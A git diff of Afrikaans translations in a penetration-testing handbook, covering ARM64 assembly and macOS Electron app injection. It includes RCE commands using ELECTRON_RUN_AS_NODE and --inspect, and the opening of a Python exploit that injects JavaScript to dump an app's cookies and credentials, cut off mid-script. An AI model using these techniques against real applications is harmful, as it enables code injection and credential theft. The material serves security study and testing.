Beweeg**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas hulle in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **dra regs hoeveelheid**. -- Bitveld beweeg: `BFM Xd, Xn, #r` -- Onderteken Bitveld beweeg: `SBFM Xd, Xn, #r, #s` -- Nie-onderteken Bitveld beweeg: `UBFM Xd, Xn, #r, #s` -- **Bitveld Uittrek en Invoeg:** Kopieer 'n bitveld van 'n register en kopieer dit na 'n ander register. +- **`bfm`**: **Bit Veld Beweeg**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas dit in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **dra regs hoeveelheid**. +- Bitfiled beweeg: `BFM Xd, Xn, #r` +- Getekende Bitfield beweeg: `SBFM Xd, Xn, #r, #s` +- Ongetekende Bitfield beweeg: `UBFM Xd, Xn, #r, #s` +- **Bitfield Uittrek en Invoeg:** Kopieer 'n bitveld van 'n register en kopieer dit na 'n ander register. - **`BFI X1, X2, #3, #4`** Voeg 4 bits van X2 vanaf die 3de bit van X1 in - **`BFXIL X1, X2, #3, #4`** Trek 4 bits vanaf die 3de bit van X2 uit en kopieer dit na X1 - **`SBFIZ X1, X2, #3, #4`** Onderteken-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak -- **`SBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit, onderteken uitbrei hulle, en plaas die resultaat in X1 +- **`SBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit, onderteken uitbrei dit, en plaas die resultaat in X1 - **`UBFIZ X1, X2, #3, #4`** Nul-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak - **`UBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit en plaas die nul-uitgebreide resultaat in X1. -- **Onderteken Uitbrei na X:** Brei die teken uit (of voeg net 0s in die nie-onderteken weergawe) van 'n waarde om operasies daarmee uit te voer: +- **Onderteken Uitbrei na X:** Brei die teken uit (of voeg net 0s in die ongetekende weergawe) van 'n waarde uit om operasies daarmee uit te voer: - **`SXTB X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit (`W2` is die helfte van `X2`) om die 64bits te vul - **`SXTH X1, W2`** Brei die teken van 'n 16bit getal **van W2 na X1** uit om die 64bits te vul - **`SXTW X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit om die 64bits te vul -- **`UXTB X1, W2`** Voeg 0s (nie-onderteken) by 'n byte **van W2 na X1** om die 64bits te vul -- **`extr`:** Trek bits uit 'n spesifieke **paar registers wat gekombineer is**. -- Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **W1+W2 kombineer** en **van bit 3 van W2 tot bit 3 van W1** kry en dit in W3 stoor. -- **`cmp`**: **Vergelyk** twee registers en stel toestand vlae. Dit is 'n **alias van `subs`** wat die bestemming register na die nul register stel. Nuttig om te weet of `m == n`. +- **`UXTB X1, W2`** Voeg 0s (ongetekend) by 'n byte **van W2 na X1** om die 64bits te vul +- **`extr`:** Trek bits uit 'n spesifieke **paar registers wat gekonkateneer is**. +- Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **W1+W2** **konkatenereer** en **van bit 3 van W2 tot bit 3 van W1** kry en dit in W3 stoor. +- **`cmp`**: **Vergelyk** twee registers en stel toestand vlae op. Dit is 'n **alias van `subs`** wat die bestemming register na die nul register stel. Nuttig om te weet of `m == n`. - Dit ondersteun die **dieselfde sintaksis as `subs`** - Voorbeeld: `cmp x0, x1` — Dit vergelyk die waardes in `x0` en `x1` en stel die toestand vlae ooreenkomstig op. - **`cmn`**: **Vergelyk negatiewe** operand. In hierdie geval is dit 'n **alias van `adds`** en ondersteun die dieselfde sintaksis. Nuttig om te weet of `m == -n`. @@ -172,24 +172,24 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> as x1 != x2 en x3 < x4, spring na func - Dit is omdat **`ccmp`** slegs uitgevoer sal word as die **vorige `cmp` 'n `NE` was**, as dit nie was nie, sal die bits `nzcv` op 0 gestel word (wat nie die `blt` vergelyking sal bevredig nie). - Dit kan ook as `ccmn` gebruik word (dieselfde maar negatief, soos `cmp` teenoor `cmn`). -- **`tst`**: Dit kyk of enige van die waardes van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te kontroleer en te kyk of enige van die bits van die register wat in die waarde aangedui word 1 is. +- **`tst`**: Dit kyk of enige van die waardes van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te kontroleer en te kyk of enige van die bits van die register wat in die waarde aangedui word, 1 is. - Voorbeeld: `tst X1, #7` Kyk of enige van die laaste 3 bits van X1 1 is - **`teq`**: XOR operasie wat die resultaat verwerp - **`b`**: Onvoorwaardelike Tak - Voorbeeld: `b myFunction` - Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie) -- **`bl`**: **Tak** met koppeling, gebruik om 'n **subroutine** te **roep**. Stoor die **terugadres in `x30`**. -- Voorbeeld: `bl myFunction` — Dit roep die funksie `myFunction` en stoor die terugadres in `x30`. +- **`bl`**: **Tak** met koppeling, gebruik om 'n **subrutine** te **noem**. Stoor die **terugadres in `x30`**. +- Voorbeeld: `bl myFunction` — Dit noem die funksie `myFunction` en stoor die terugadres in `x30`. - Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie) -- **`blr`**: **Tak** met Koppeling na Register, gebruik om 'n **subroutine** te **roep** waar die teiken in 'n **register** gespesifiseer word. Stoor die terugadres in `x30`. (Dit is -- Voorbeeld: `blr x1` — Dit roep die funksie waarvan die adres in `x1` bevat is en stoor die terugadres in `x30`. -- **`ret`**: **Terugkeer** van **subroutine**, tipies met die adres in **`x30`**. -- Voorbeeld: `ret` — Dit keer terug van die huidige subroutine met die terugadres in `x30`. +- **`blr`**: **Tak** met Koppeling na Register, gebruik om 'n **subrutine** te **noem** waar die teiken in 'n **register** gespesifiseer word. Stoor die terugadres in `x30`. (Dit is +- Voorbeeld: `blr x1` — Dit noem die funksie waarvan die adres in `x1` bevat is en stoor die terugadres in `x30`. +- **`ret`**: **Keer terug** van **subrutine**, tipies met die adres in **`x30`**. +- Voorbeeld: `ret` — Dit keer terug van die huidige subrutine met die terugadres in `x30`. - **`b.`**: Voorwaardelike takke - **`b.eq`**: **Tak as gelyk**, gebaseer op die vorige `cmp` instruksie. - Voorbeeld: `b.eq label` — As die vorige `cmp` instruksie twee gelyke waardes gevind het, spring dit na `label`. -- **`b.ne`**: **Tak as Nie Gelyk**. Hierdie instruksie kyk die toestand vlae na (wat deur 'n vorige vergelyking instruksie gestel is), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n etiket of adres. -- Voorbeeld: Na 'n `cmp x0, x1` instruksie, `b.ne label` — As die waardes in `x0` en `x1 nie gelyk was nie, spring dit na `label`. +- **`b.ne`**: **Tak as Nie Gelyk**. Hierdie instruksie kyk die toestand vlae (wat deur 'n vorige vergelyking instruksie gestel is), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n etiket of adres. +- Voorbeeld: Na 'n `cmp x0, x1` instruksie, `b.ne label` — As die waardes in `x0` en `x1` nie gelyk was nie, spring dit na `label`. - **`cbz`**: **Vergelyk en Tak op Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, tak dit na 'n etiket of adres. - Voorbeeld: `cbz x0, label` — As die waarde in `x0` nul is, spring dit na `label`. - **`cbnz`**: **Vergelyk en Tak op Nie-Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, tak dit na 'n etiket of adres. @@ -200,7 +200,7 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - Voorbeeld: `tbz x0, #8, label` - **Voorwaardelike seleksie operasies**: Dit is operasies waarvan die gedrag wissel, afhangende van die voorwaardelike bits. - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> As waar, X0 = X1, as vals, X0 = X2 -- `csinc Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = Xn + 1 +- `csinc Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = Xm + 1 - `cinc Xd, Xn, cond` -> As waar, Xd = Xn + 1, as vals, Xd = Xn - `csinv Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = NOT(Xm) - `cinv Xd, Xn, cond` -> As waar, Xd = NOT(Xn), as vals, Xd = Xn @@ -212,9 +212,9 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, - Voorbeeld: `adrp x0, symbol` — Dit bereken die bladsy adres van `symbol` en stoor dit in `x0`. - **`ldrsw`**: **Laai** 'n ondertekende **32-bit** waarde van geheue en **onderteken-uitbrei dit na 64** bits. - Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n ondertekende 32-bit waarde van die geheue ligging wat deur `x1` aangedui word, onderteken-uitbrei dit na 64 bits, en stoor dit in `x0`. -- **`stur`**: **Stoor 'n register waarde na 'n geheue ligging**, met 'n offset van 'n ander register. +- **`stur`**: **Stoor 'n registerwaarde na 'n geheue ligging**, met 'n offset van 'n ander register. - Voorbeeld: `stur x0, [x1, #4]` — Dit stoor die waarde in `x0` in die geheue adres wat 4 bytes groter is as die adres wat tans in `x1` is. -- **`svc`** : Maak 'n **stelselaanroep**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, **skakel dit van gebruikersmodus na kernelmodus** en spring na 'n spesifieke ligging in geheue waar die **kernel se stelselaanroep hantering** kode geleĂ« is. +- **`svc`** : Maak 'n **stelselaanroep**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, **verskuif dit van gebruikersmodus na kernelmodus** en spring na 'n spesifieke ligging in geheue waar die **kernel se stelselaanroep hantering** kode geleĂ« is. - Voorbeeld: @@ -235,7 +235,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t ### **Funksie Epiloog** -1. **Deallocate plaaslike veranderlikes (indien enige toegeken is)**: `add sp, sp, ` +1. **Deallokeer plaaslike veranderlikes (indien enige toegeken is)**: `add sp, sp, ` 2. **Herstel die skakelregister en raamwyser**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer @@ -246,7 +246,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th Armv8-A ondersteun die uitvoering van 32-bis programme. **AArch32** kan in een van **twee instruksiesette** loop: **`A32`** en **`T32`** en kan tussen hulle skakel via **`interworking`**.\ **Bevoorregte** 64-bis programme kan die **uitvoering van 32-bis** programme skeduleer deur 'n uitsonderingsvlak oordrag na die laer bevoorregte 32-bis uit te voer.\ -Let daarop dat die oorgang van 64-bis na 32-bis plaasvind met 'n verlaging van die uitsonderingsvlak (byvoorbeeld 'n 64-bis program in EL1 wat 'n program in EL0 aktiveer). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` die **`AArch32`** programme CPSR stoor. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** en in A32 of T32 ingaan, afhangende van CPSR\*\*.\*\* +Let daarop dat die oorgang van 64-bis na 32-bis plaasvind met 'n verlaging van die uitsonderingsvlak (byvoorbeeld 'n 64-bis program in EL1 wat 'n program in EL0 aktiveer). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` stoor die **`AArch32`** programme CPSR. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** en in A32 of T32 ingaan, afhangende van CPSR**.** Die **`interworking`** vind plaas met behulp van die J en T bits van CPSR. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit beteken basies om die **laagste bit op 1** te stel om aan te dui dat die instruksieset T32 is.\ Dit word tydens die **interworking takinstruksies** gestel, maar kan ook direk met ander instruksies gestel word wanneer die PC as die bestemmingsregister gestel word. Voorbeeld: @@ -264,7 +264,7 @@ mov r0, #8 ``` ### Registers -Daar is 16 32-bit registers (r0-r15). **Van r0 tot r14** kan hulle gebruik word vir **enige operasie**, maar sommige van hulle is gewoonlik gereserveer: +Daar is 16 32-bit registers (r0-r15). **Van r0 tot r14** kan hulle vir **enige operasie** gebruik word, maar sommige daarvan is gewoonlik gereserveer: - **`r15`**: Program counter (altyd). Bevat die adres van die volgende instruksie. In A32 huidige + 8, in T32, huidige + 4. - **`r11`**: Frame Pointer @@ -272,40 +272,40 @@ Daar is 16 32-bit registers (r0-r15). **Van r0 tot r14** kan hulle gebruik word - **`r13`**: Stack Pointer - **`r14`**: Link Register -Boonop word registers geback-up in **`banked registries`**. Dit is plekke wat die registerwaardes stoor wat vinnige kontekswisseling in uitsondering hantering en bevoorregte operasies moontlik maak om die behoefte om registers handmatig te stoor en te herstel elke keer te vermy.\ -Dit word gedoen deur **die verwerkerstatus van die `CPSR` na die `SPSR`** van die verwerker modus waarheen die uitsondering geneem word, te stoor. By die uitsondering terugkeer, word die **`CPSR`** van die **`SPSR`** herstel. +Boonop word registers gebackup in **`banked registries`**. Dit is plekke wat die registerwaardes stoor, wat vinnige kontekswisseling in uitsonderinghantering en bevoorregte operasies moontlik maak om die behoefte om registers handmatig te stoor en te herstel elke keer te vermy.\ +Dit word gedoen deur **die verwerkerstatus van die `CPSR` na die `SPSR`** van die verwerker-modus waar die uitsondering geneem word, te stoor. By die uitsondering terugkeer, word die **`CPSR`** van die **`SPSR`** herstel. -### CPSR - Current Program Status Register +### CPSR - Huidige Program Status Register -In AArch32 werk die CPSR soortgelyk aan **`PSTATE`** in AArch64 en word ook gestoor in **`SPSR_ELx`** wanneer 'n uitsondering geneem word om later die uitvoering te herstel: +In AArch32 werk die CPSR soortgelyk aan **`PSTATE`** in AArch64 en word ook in **`SPSR_ELx`** gestoor wanneer 'n uitsondering geneem word om later die uitvoering te herstel:
Die velde is in 'n paar groepe verdeel: -- Application Program Status Register (APSR): Aritmetiese vlae en toeganklik vanaf EL0 -- Execution State Registers: Proses gedrag (geadministreer deur die OS). +- Toepassing Program Status Register (APSR): Aritmetiese vlae en toeganklik vanaf EL0 +- Uitvoeringstoestand Registers: Prosesgedrag (geadministreer deur die OS). -#### Application Program Status Register (APSR) +#### Toepassing Program Status Register (APSR) - Die **`N`**, **`Z`**, **`C`**, **`V`** vlae (net soos in AArch64) -- Die **`Q`** vlae: Dit word op 1 gestel wanneer **heelgetal saturasie plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende aritmetiese instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig op 0 gestel word. Boonop is daar geen instruksie wat sy waarde implisiet nagaan nie, dit moet gedoen word deur dit handmatig te lees. -- **`GE`** (Groter as of gelyk aan) Vlae: Dit word gebruik in SIMD (Single Instruction, Multiple Data) operasies, soos "parallel add" en "parallel subtract". Hierdie operasies stel in staat om verskeie datapunte in 'n enkele instruksie te verwerk. +- Die **`Q`** vlag: Dit word op 1 gestel wanneer **heelgetal saturasie plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende aritmetiese instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig op 0 gestel word. Boonop is daar geen instruksie wat sy waarde implisiet nagaan nie, dit moet gedoen word deur dit handmatig te lees. +- **`GE`** (Groter as of gelyk aan) Vlaggen: Dit word gebruik in SIMD (Single Instruction, Multiple Data) operasies, soos "parallel add" en "parallel subtract". Hierdie operasies stel in staat om verskeie datapunte in 'n enkele instruksie te verwerk. -Byvoorbeeld, die **`UADD8`** instruksie **voeg vier pare van bytes** (van twee 32-bit operande) parallel by en stoor die resultate in 'n 32-bit register. Dit stel dan **die `GE` vlae in die `APSR`** op grond van hierdie resultate. Elke GE-vlag kom ooreen met een van die byte byvoegings, wat aandui of die byvoeging vir daardie byte paar **oorloop** het. +Byvoorbeeld, die **`UADD8`** instruksie **voeg vier pare bytes** (van twee 32-bit operand) parallel by en stoor die resultate in 'n 32-bit register. Dit stel dan **die `GE` vlae in die `APSR`** op grond van hierdie resultate. Elke GE vlag kom ooreen met een van die byte byvoegings, wat aandui of die byvoeging vir daardie byte paar **oorloop**. Die **`SEL`** instruksie gebruik hierdie GE vlae om voorwaardelike aksies uit te voer. -#### Execution State Registers +#### Uitvoeringstoestand Registers - Die **`J`** en **`T`** bits: **`J`** moet 0 wees en as **`T`** 0 is, word die instruksieset A32 gebruik, en as dit 1 is, word die T32 gebruik. -- **IT Block State Register** (`ITSTATE`): Dit is die bits van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'n **`IT`** voorvoegsel groep. +- **IT Bloktoestand Register** (`ITSTATE`): Dit is die bits van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'n **`IT`** voorvoegselgroep. - **`E`** bit: Dui die **endianness** aan. -- **Mode en Exception Mask Bits** (0-4): Hulle bepaal die huidige uitvoeringsstatus. Die **5de** dui aan of die program as 32bit (n 1) of 64bit (n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommer wat gestel word **dui die huidige prioriteit aan** in die geval dat 'n ander uitsondering geaktiveer word terwyl dit hanteer word. +- **Modus en Uitsondering Masker Bits** (0-4): Hulle bepaal die huidige uitvoeringstoestand. Die **5de** dui aan of die program as 32bit (n 1) of 64bit (n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommer wat gestel word **dui die huidige prioriteit aan** in die geval dat 'n ander uitsondering geaktiveer word terwyl dit hanteer word.
-- **`AIF`**: Sekere uitsonderings kan gedeaktiveer word met die bits **`A`**, `I`, `F`. As **`A`** 1 is, beteken dit dat **asynchrone aborts** geaktiveer sal word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs). +- **`AIF`**: Sekere uitsonderings kan gedeaktiveer word met die bits **`A`**, `I`, `F`. As **`A`** 1 is, beteken dit dat **asynchrone afbrake** geaktiveer sal word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs). ## macOS @@ -325,10 +325,10 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Let wel dat **Ida** en **Ghidra** ook **spesifieke dylibs** uit die cache kan dekompileer net deur die cache te oorhandig. +Let daarop dat **Ida** en **Ghidra** ook **spesifieke dylibs** uit die cache kan dekompileer net deur die cache te oorhandig. > [!TIP] -> Soms is dit makliker om die **gedekompleerde** kode van **`libsystem_kernel.dylib`** te kyk **as** om die **bronkode** te kyk omdat die kode van verskeie syscalls (BSD en Mach) via skripte gegenereer word (kyk kommentaar in die bronkode) terwyl jy in die dylib kan vind wat aangeroep word. +> Soms is dit makliker om die **gedekompileerde** kode van **`libsystem_kernel.dylib`** te kontroleer **as** om die **bronkode** te kontroleer omdat die kode van verskeie syscalls (BSD en Mach) via skripte gegenereer word (kyk kommentaar in die bronkode) terwyl jy in die dylib kan vind wat aangeroep word. ### machdep oproepe @@ -336,13 +336,13 @@ XNU ondersteun 'n ander tipe oproepe wat masjienafhanklik genoem word. Die getal ### comm bladsy -Dit is 'n kern eienaar geheue bladsy wat in die adresruimte van elke gebruikersproses gemap is. Dit is bedoel om die oorgang van gebruikersmodus na kernruimte vinniger te maak as om syscalls te gebruik vir kerndienste wat so baie gebruik word dat hierdie oorgang baie ondoeltreffend sou wees. +Dit is 'n kern eienaar geheue bladsy wat in die adresruimte van elke gebruiker se proses gemap is. Dit is bedoel om die oorgang van gebruikersmodus na kernruimte vinniger te maak as om syscalls te gebruik vir kerndienste wat so baie gebruik word dat hierdie oorgang baie ondoeltreffend sou wees. Byvoorbeeld, die oproep `gettimeofdate` lees die waarde van `timeval` direk van die comm bladsy. ### objc_msgSend -Dit is baie algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie laat jou toe om 'n metode van 'n Objective-C objek aan te roep. +Dit is baie algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie stel jou in staat om 'n metode van 'n Objective-C objek aan te roep. Parameters ([meer inligting in die dokumentasie](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): @@ -373,13 +373,13 @@ whoami > > Boonop, deur **`OBJC_HELP=1`** in te stel en enige binĂȘre aan te roep, kan jy ander omgewing veranderlikes sien wat jy kan gebruik om **log** te maak wanneer sekere Objc-C aksies plaasvind. -Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepte metode van die aangeduide instansie te vind, hiervoor word verskillende soektogte gedoen: +Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepde metode van die aangeduide instansie te vind, hiervoor word verskillende soektogte gedoen: - Voer optimistiese kassoektog uit: - As suksesvol, klaar - Verkry runtimeLock (lees) - As (realiseer && !cls->realized) realiseer klas -- As (initialize && !cls->initialized) inisieer klas +- As (initialize && !cls->initialized) initaliseer klas - Probeer klas se eie kas: - As suksesvol, klaar - Probeer klas metode lys: @@ -389,7 +389,7 @@ Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepte metode v - Probeer superklas metode lys: - As gevind, vul kas en klaar - As (resolver) probeer metode resolver, en herhaal vanaf klas soektog -- As ek nog hier is (= alles anders het gefaal) probeer voorwaarts +- As ek nog hier is (= alles anders het gefaal) probeer forwarder ### Shellcodes @@ -467,7 +467,7 @@ return 0; #### Shell -Geneem uit [**hier**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) en verduidelik. +Geneem uit [**hier**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) en verduidelik. {{#tabs}} {{#tab name="with adr"}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 158d7cb1d..3af6bdbd6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -4,7 +4,7 @@ ## Basiese Inligting -As jy nie weet wat Electron is nie, kan jy [**baie inligting hier vind**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Maar vir nou moet jy net weet dat Electron **node** draai.\ +As jy nie weet wat Electron is nie, kan jy [**baie inligting hier vind**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Maar vir nou moet jy net weet dat Electron **node** uitvoer.\ En node het 'n paar **parameters** en **omgewing veranderlikes** wat gebruik kan word om **ander kode uit te voer** behalwe die aangeduide lĂȘer. ### Electron Fuse @@ -13,11 +13,11 @@ Hierdie tegnieke sal volgende bespreek word, maar in onlangse tye het Electron v - **`RunAsNode`**: As dit gedeaktiveer is, voorkom dit die gebruik van die omgewing veranderlike **`ELECTRON_RUN_AS_NODE`** om kode in te spuit. - **`EnableNodeCliInspectArguments`**: As dit gedeaktiveer is, sal parameters soos `--inspect`, `--inspect-brk` nie gerespekteer word nie. Dit vermy hierdie manier om kode in te spuit. -- **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaaide **`asar`** **lĂȘer** deur macOS **gevalideer** word. **Dit voorkom** op hierdie manier **kode inspuiting** deur die inhoud van hierdie lĂȘer te wysig. +- **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaaide **`asar`** **lĂȘer** deur macOS **gevalideer** word. **Dit voorkom** op hierdie manier **kode-inspuiting** deur die inhoud van hierdie lĂȘer te wysig. - **`OnlyLoadAppFromAsar`**: As dit geaktiveer is, sal dit slegs app.asar nagaan en gebruik, in plaas daarvan om in die volgende volgorde te soek: **`app.asar`**, **`app`** en uiteindelik **`default_app.asar`**. Dit verseker dat wanneer dit **gekombineer** word met die **`embeddedAsarIntegrityValidation`** fuse, dit **onmoontlik** is om **nie-gevalideerde kode** te **laai**. - **`LoadBrowserProcessSpecificV8Snapshot`**: As dit geaktiveer is, gebruik die blaaiersproses die lĂȘer genaamd `browser_v8_context_snapshot.bin` vir sy V8-snapshot. -Nog 'n interessante fuse wat nie kode inspuiting sal voorkom nie, is: +Nog 'n interessante fuse wat nie kode-inspuiting sal voorkom nie, is: - **EnableCookieEncryption**: As dit geaktiveer is, word die koekie stoor op skyf geĂ«nkripteer met behulp van OS-vlak kriptografie sleutels. @@ -39,7 +39,7 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled ``` ### Modifying Electron Fuses -Soos die [**dokumentasie noem**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), die konfigurasie van die **Electron Fuses** is geconfigureer binne die **Electron binĂȘre** wat ĂȘrens die string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** bevat. +Soos die [**docs noem**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), die konfigurasie van die **Electron Fuses** is geconfigureer binne die **Electron binary** wat ĂȘrens die string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** bevat. In macOS toepassings is dit tipies in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` ```bash @@ -66,15 +66,15 @@ Daar kan **eksterne JS/HTML lĂȘers** wees wat 'n Electron App gebruik, so 'n aan Let daarop dat dit moontlik is om die vereiste van **`kTCCServiceSystemPolicyAppBundles`** te omseil deur die toepassing na 'n ander gids te kopieer (soos **`/tmp`**), die vouer **`app.app/Contents`** te hernoem na **`app.app/NotCon`**, **die** **asar** lĂȘer met u **kwaadwillige** kode te **wysig**, dit weer terug te hernoem na **`app.app/Contents`** en dit uit te voer. -U kan die kode uit die asar lĂȘer onpak met: +U kan die kode uit die asar lĂȘer onpack met: ```bash npx asar extract app.asar app-decomp ``` -En pak dit weer in nadat dit gewysig is met: +En pak dit weer in nadat dit met die volgende gewysig is: ```bash npx asar pack app-decomp app-new.asar ``` -## RCE met `ELECTRON_RUN_AS_NODE` +## RCE met ELECTRON_RUN_AS_NODE Volgens [**die dokumentasie**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), as hierdie omgewing veranderlike gestel is, sal dit die proses as 'n normale Node.js-proses begin. ```bash @@ -147,19 +147,227 @@ Jy kan hierdie env variabele in 'n plist misbruik om volharding te handhaaf deur ``` ## RCE met inspeksie -Volgens [**hierdie**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), as jy 'n Electron-toepassing uitvoer met vlae soos **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`**, sal 'n **debug-poort oop wees** sodat jy daaraan kan koppel (byvoorbeeld vanaf Chrome in `chrome://inspect`) en jy sal in staat wees om **kode daarop in te spuit** of selfs nuwe prosesse te begin.\ +Volgens [**hierdie**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kan jy 'n Electron-toepassing uitvoer met vlae soos **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`**, 'n **debug-poort sal oop wees** sodat jy daaraan kan koppel (byvoorbeeld van Chrome in `chrome://inspect`) en jy sal in staat wees om **kode daarop in te spuit** of selfs nuwe prosesse te begin.\ Byvoorbeeld: ```bash /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 # Connect to it using chrome://inspect and execute a calculator with: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` +In [**hierdie blogpos**](https://hackerone.com/reports/1274695), word hierdie foutopsporing misbruik om 'n headless chrome **arbitraire lĂȘers in arbitraire plekke af te laai**. + +> [!TIP] +> As 'n app sy eie manier het om te kyk of omgewingsveranderlikes of parameters soos `--inspect` gestel is, kan jy probeer om dit in runtime te **omseil** met die arg `--inspect-brk` wat die **uitvoering stop** aan die begin van die app en 'n omseiling uitvoer (deur die args of die omgewingsveranderlikes van die huidige proses te oorskryf byvoorbeeld). + +Die volgende was 'n eksploit wat deur die app te monitor en uit te voer met die parameter `--inspect-brk`, dit moontlik gemaak het om die pasgemaakte beskerming wat dit gehad het te omseil (deur die parameters van die proses te oorskryf om `--inspect-brk` te verwyder) en dan 'n JS payload in te spuit om koekies en geloofsbriewe van die app te dump. +```python +import asyncio +import websockets +import json +import requests +import os +import psutil +from time import sleep + +INSPECT_URL = None +CONT = 0 +CONTEXT_ID = None +NAME = None +UNIQUE_ID = None + +JS_PAYLOADS = """ +var { webContents } = require('electron'); +var fs = require('fs'); + +var wc = webContents.getAllWebContents()[0] + + +function writeToFile(filePath, content) { +const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2); + +fs.writeFile(filePath, data, (err) => { +if (err) { +console.error(`Error writing to file ${filePath}:`, err); +} else { +console.log(`File written successfully at ${filePath}`); +} 